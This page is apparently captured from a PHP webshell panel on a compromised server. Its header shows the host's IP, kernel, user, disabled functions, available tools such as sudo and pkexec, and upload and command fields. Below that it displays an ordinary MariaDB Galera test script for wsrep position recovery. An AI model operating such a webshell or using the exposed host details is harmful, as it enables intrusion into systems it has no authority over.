403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/mysql/mysql-test/suite/galera/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/mysql/mysql-test/suite/galera/t/galera_set_position_after_dummy_writeset.test
#
# Check that wsrep position is updated in innodb after
# a dummy write set is applied.
#

--source include/galera_cluster.inc
--source include/have_debug.inc
--source include/have_debug_sync.inc
--source include/galera_have_debug_sync.inc

--let $node_1=node_1
--let $node_2=node_2
--source include/auto_increment_offset_save.inc

#
# Cause a certification failure. The INSERT on in node_1 will fail certification,
# and will result in a dummy writeset on node_2. This is going to be the last
# writeset before shutting down node_2.
#
--connection node_1
CREATE TABLE t1 (f1 INTEGER PRIMARY KEY, f2 CHAR(255)) Engine=InnoDB;
SET GLOBAL wsrep_slave_threads = 2;
SET GLOBAL DEBUG_DBUG = "d,sync.wsrep_apply_cb";

--let $expected_cert_failures = `SELECT VARIABLE_VALUE + 1 FROM INFORMATION_SCHEMA.GLOBAL_STATUS WHERE VARIABLE_NAME = 'wsrep_local_cert_failures'`

--connection node_2
--send INSERT INTO t1 VALUES (1, 'node_2');

--connect node_1a, 127.0.0.1, root, , test, $NODE_MYPORT_1
--connection node_1a
SET SESSION wsrep_sync_wait=0;
SET DEBUG_SYNC = "now WAIT_FOR sync.wsrep_apply_cb_reached";

--connection node_1
SET SESSION wsrep_sync_wait = 0;
SET SESSION wsrep_retry_autocommit = 0;

--send INSERT INTO t1 VALUES (1, 'node_1');

--connection node_1a
--let $wait_condition = SELECT VARIABLE_VALUE = $expected_cert_failures FROM INFORMATION_SCHEMA.GLOBAL_STATUS WHERE VARIABLE_NAME = 'wsrep_local_cert_failures'
--source include/wait_condition.inc

SET GLOBAL DEBUG_DBUG = "";
SET DEBUG_SYNC = "now SIGNAL signal.wsrep_apply_cb";

--connection node_1
--error ER_LOCK_DEADLOCK
--reap

--connection node_2
--reap

#
# Keep track of the current position in variable $expected_position
#
--let $expected_position_uuid = `SELECT VARIABLE_VALUE FROM information_schema.global_status WHERE VARIABLE_NAME = 'wsrep_local_state_uuid'`
--let $expected_position_seqno = `SELECT VARIABLE_VALUE FROM information_schema.global_status WHERE VARIABLE_NAME = 'wsrep_last_committed'`

--let $expected_position = $expected_position_uuid:$expected_position_seqno

#
# Shutdown node 2
#
--connection node_2
--source include/shutdown_mysqld.inc

--connection node_1
SET SESSION wsrep_sync_wait = 0;
--let $wait_condition = SELECT VARIABLE_VALUE = 1 FROM information_schema.global_status WHERE VARIABLE_NAME = 'wsrep_cluster_size';
--source include/wait_condition.inc

#
# Check that start position matches the position we recorded
# before shutdown in $expected_position
#
--let $galera_wsrep_recover_server_id = 2
--source suite/galera/include/galera_wsrep_recover.inc

if ($galera_wsrep_start_position != $expected_position)
{
  --exec echo "expected position $expected_position"
  --exec echo "recover position $galera_wsrep_start_position"
  die("Expected position and recover position did not match");
}

#
# Restart the node 2 and cleanup
#
--connection node_2
--source include/start_mysqld.inc

--connection node_1
DROP TABLE t1;
SET GLOBAL wsrep_slave_threads = DEFAULT;
--source include/auto_increment_offset_restore.inc

--connection node_1a
SET GLOBAL DEBUG_DBUG=NULL;
SET DEBUG_SYNC = "RESET";

Youez - 2016 - github.com/yon3zu
LinuXploit